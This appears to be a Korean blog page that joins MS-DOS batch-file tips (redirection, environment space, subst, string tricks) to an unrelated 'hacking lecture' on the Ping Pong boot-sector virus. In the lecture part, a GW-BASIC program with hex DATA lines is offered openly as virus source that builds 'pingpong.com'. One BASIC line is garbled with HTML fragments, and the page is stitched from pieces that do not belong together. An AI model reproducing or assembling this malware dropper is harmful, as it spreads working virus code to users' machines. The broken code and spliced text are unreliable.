24. 배치화일의 출력을 리디렉션(redirection)하기
===============================================
배치화일 안에서의 출력은 손 쉽게 재 방향전환(redirecion)할 수 있
다. 다음과 같은 example.bat 이라는 배치화일을 생각해보자.
@echo This is a redirection test> test
"example"를 실행시키면 아래의 문장을 담은 "test"라는 화일을 생성
할 것이다.
This is a redirection test
이 줄은 eoln(end of line: ascii 13 + 10)을 줄 끝에 포함하고 있
다. 리디렉션 기호 '>' 앞에 아무런 공백도 주지 않는 것이 현명할
때가 있다.
배치화일이 만드는 출력을 다시 재 방향전환(redirection)하는 것은
다소 복잡하다. 다음과 같은 내용을 지닌 example2.bat을 생각해 보자.
@echo This is another redirection test
실행하면,
example2 > test
출력은 화면에 나오고, 빈 test라는 화일이 생성될 것이다. 출력을
재 방향 전환 시키기 위해서는 다음과 같이 command.com 명령어 해석
기를 통해서 배치화일을 실행해야 한다.( command.com은 현디렉토리
나 경로에 있어야 한다.)
command /c example2 > test
이와 같이 하면 내용이 "test"라는 화일에 담길 것이다.
25. 환경저장 공간이 충분한지 확인하기
=====================================
만약 배치화일이 환경저장 변수를 사용하면, 환경저장 공간이 부족할
경우가 있다. 만약 "Out of environment space"라는 메세지를 받는다
면 잘 알려진 방법을 통해서 다음과 같이 config.sys 의 shell을 설
정해서 환경저장 공간을 늘릴 수 있다.
shell=c:\bin\command.com c:\bin /e:1024 /p
이 보다 덜 알려진 기술로는 환경저장 공간이 모자라기 전에 미리 확
인해 볼수 있다. 아래의 예는 32바이트의 환경이 남아 있는지 확인한
다.
@echo off
set test_=12345678901234567890123456789012
if "%test_%"=="12345678901234567890123456789012" goto _yes
echo Insufficient environment space
goto _out
:_yes
echo Sufficient environment space
set test_=
rem Whatever you wish to do
:_out
26. 드라이브를 사용 못하게 하는 간단한 방법
===========================================
임시로 드라이브를 사용하지 못하게 하려면, subst명령어를 사용하면
된다. 예는 아래와 같다.
@echo off
md c:\none
subst d: c:\none
다시 사용하게 하려면,
@echo off
subst d: /d
rd c:\none
27. 프린터에 escape 명령어를 보내기
===================================
여기 정말 사소한 기술이 있다. 명령행에서 곧바로 프린터에게
escape sequence를 보낼 수 없다. 그러나 다음과 같은 배치화일을 이
용하면 간단하다.
@echo ESC%1> prn
ESC는 진짜 escape문자로 에디터로 쓰여져야 된다. 이 방법의 한가지
결점은 라인피드를 보내는 것이다.
28. 무작위 문자열을 만든는 방법
===============================
UseNet news에서 무작위 문자열을 만드는 방법을 물어보는 사람이 있
었다. 대답은 다음과 같다. 이를 확장해서 공부해보기 바란다.
@echo off
echo 10 randomize(val(mid$(time$,7,2))) > tmp.bas
echo 20 open "tmp2.bat" for output as #1 >> tmp.bas
echo 30 x$ = mid$(str$(int(rnd*10000)),2) >> tmp.bas
echo 40 print #1,"@set ramdom_=";x$ >> tmp.bas
echo 50 close #2 >> tmp.bas
echo 60 system >> tmp.bas
gwbasic tmp.bas
call tmp2
del tmp.bas
del tmp2.bat
set
29. 문자열의 길이를 알아내기
============================
문자열의 길이를 찾아내는 일은 PC Magazine January 26, 1993 issue
에 실렸다. 여기서 제안하는 방법은 PC 메거진의 방법과 근본적으로
같지만, 더 일반적이다.
@echo off
set test_=Testing the lenght of a string
echo %test_% > len$&$&$
dir len$&$&$ | find "LEN$&$&$" > go$$$.bat
echo @echo off> len$&$&$.bat
echo set length_=%% len$&$&$.bat
call go$$$
echo The lenght is %length_% bytes
del len$&$&$
del len$&$&$.bat
del go$$$.bat
30. MsDos의 버전을 환경변수로 저장하기
======================================
ADJCURS.BAT을 보면 알겠지만, 배치화일로만 버전을 알아낼 수있다.
여기에 다른 방법이 있다.
@echo off
ver > go$$$.bat
echo @echo off> ms-dos.bat
echo set version_=%%2>> ms-dos.bat
call go$$$
echo Your MsDos version is %version_%
del go$$$.bat
del ms-dos.bat
해킹 강좌 6회
안녕하세요. 많이 늦었지요? 개인적인 프로젝트 때문에 많이 신경쓰지 못했군요..
6회 강좌입니다. 이번 시간에는 기타 언어로 제작한 바이러스를 살펴보기로 하겠습니다.
2) 베이직으로 구현한 바이러스
핑퐁바이러스를 예로 들어 설명하겠다.
[핑퐁 바이러스]
출처 : 1988년 3월, Italia
전염기종 : IBM PC 및 호환 기종
전염종류 : 부트 섹터 감염자
비고 : 90년 초에 국내에서 발견
플로피 디스크 및 하드 디스크의 부트 영역 전염된다. 원래의 부트 섹터를 다른 장소로 이동시키
고 디스켓일 경우 1개의 미사용 클러스터를 불량 클러스터로 만들며 여기에 원래의 부트 섹터 및
바이러스 프로그램의 나머지를 저장한다. 하드일 경우 사이드:0, 실린드:0의 영역에 원래의 부트
섹터 및 바이러스 프로그램의 나머지를 저장한다. DOS 버전 및 종료표시(55 AA)는 변하지 않는
다. 메모리 크기를 2K 감소시키며 인터럽트 벡터를 변경시키다. 원래의 Ping Pong 바이러스는
360K 플로피만 감염시킨다.
감염된 디스크로 부팅하면 바이러스 프로그램이 메모리에 상주하며, 상주후 INT 13H번 수행시
Access하는 디스크를 감염시킨다. 디스크 입출력 속도가 느려지며 디스크일 경우 한개의 불량 클
러스터가 생긴다. 활동 시기가 되면 화면에 bouncing ball 효과가 나타난다. 활동 시기는 임위적
이며 시스템을 재 부팅하지 않으면 bouncing이 멈추지 않는다. 기타 다른 피해는 없다.
핑퐁바이러스의 베이직 소스
100 REM - basic progrom to create pingpong.com
110 CLS:PRINT "creating pingpong.com":OPEN "pingpong.com" AS #1 LEN=1
120 FIELD #1, 1 AS A$:CHECKSUM#=0
130 FOR I=1 TO 19
140 LINESUM#=0:LOCATE 2,3:PRINT "countdown:" 19 - I;
150 FOR J=1 TO 16:READ BYTE$:BYTE=VAL("&h"+BYTE$)
160 CHECKSUM#=CHECKSUM#+BYTE:LINESUM#=LINESUM#+BYTE
170 IF (BYTE<256 a="a" lset="lset" span="span" then="then">256>
180 NEXT J
190 READ LINETOT$:LINECHECK#=VAL("&h"+LINETOT$)
200 IF LINECHECK#=LINESUM# THEN GOTO 220
210 LOCATE 4,2:PRINT "error in line #";260+10*I:GOTO 260
220 NEXT I
230 CLOSE #1:READ FILETOT$:FILECHECK#=VAL(FILETOT$)
240 IF CHECKSUM# <> FILECHECK# THEN GOTO 260
250 PRINT:PRINT "pingpong.com created successfully":SYSTEM
260 PRINT:PRINT "pingpong.com is not valid!":END
270 DATA e9, fd, 0, 20, 7, 29, 5, ff, 1, 0, 7, 0, 4f, 0, 0, 0, 391
280 DATA 0, 1e, 50, 53, 51, 52, e, 1f, b4, f, cd, 10, 8a, d8, 3b, 1e, 4ec
290 DATA a, 1, 74, 36, 89, 1e, a, 1, fe, cc, 88, 26, c, 1, b4, 1, 4a1
300 DATA 80, fb, 7, 75, 2, fe, cc, 80, fb, 4, 73, 2, fe, cc, 88, 26, 82f
310 DATA 9, 1, c7, 6, 5, 1, 1, 1, c7, 6, 7, 1, 1, 1, b4, 3, 26d
320 DATA cd, 10, 52, 8b, 16, 5, 1, eb, 24, 90, b4, 3, cd, 10, 52, b4, 60f
330 DATA 2, 8b, 16, 5, 1, cd, 10, a1, 3, 1, 80, 3e, 9, 1, 1, 75, 369
340 DATA 3, b8, 7, 83, 8a, dc, b9, 1, 0, b4, 9, cd, 10, 8b, e, 7, 59f
350 DATA 1, 80, fe, 0, 75, 5, 80, f5, ff, fe, c5, 80, fe, 18, 75, 5, 840
360 DATA 80, f5, ff, fe, c5, 80, fa, 0, 75, 5, 80, f1, ff, fe, c1, 3a, a94
370 DATA 16, c, 1, 75, 5, 80, f1, ff, fe, c1, 3b, e, 7, 1, 75, 17, 5a9
380 DATA a1, 3, 1, 24, 7, 3c, 3, 75, 5, 80, f5, ff, fe, c5, 3c, 5, 601
390 DATA 75, 5, 80, f1, ff, fe, c1, 2, d1, 2, f5, 89, e, 7, 1, 89, 79b
400 DATA 16, 5, 1, b4, 2, cd, 10, b4, 8, cd, 10, a3, 3, 1, 8a, dc, 555
410 DATA 80, 3e, 9, 1, 1, 75, 2, b3, 83, b9, 1, 0, b8, 7, 9, cd, 4c5
420 DATA 10, 5a, b4, 2, cd, 10, 5a, 59, 5b, 58, 1f, 2e, ff, 2e, d, 1, 4eb
430 DATA b8, 8, 35, cd, 21, 89, 1e, d, 1, 8c, 6, f, 1, b8, 8, 25, 41f
440 DATA ba, 11, 1, cd, 21, ba, 0, 2, 83, c2, f, b1, 4, d3, ea, b4, 6f0
450 DATA 31, cd, 21, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11f
460 DATA 26653
베이직으로 작성한 바이러스
작용 : 화일 크기를 바꾸는 것
댓글 없음:
댓글 쓰기
국정원의 댓글 공작을 지탄합니다.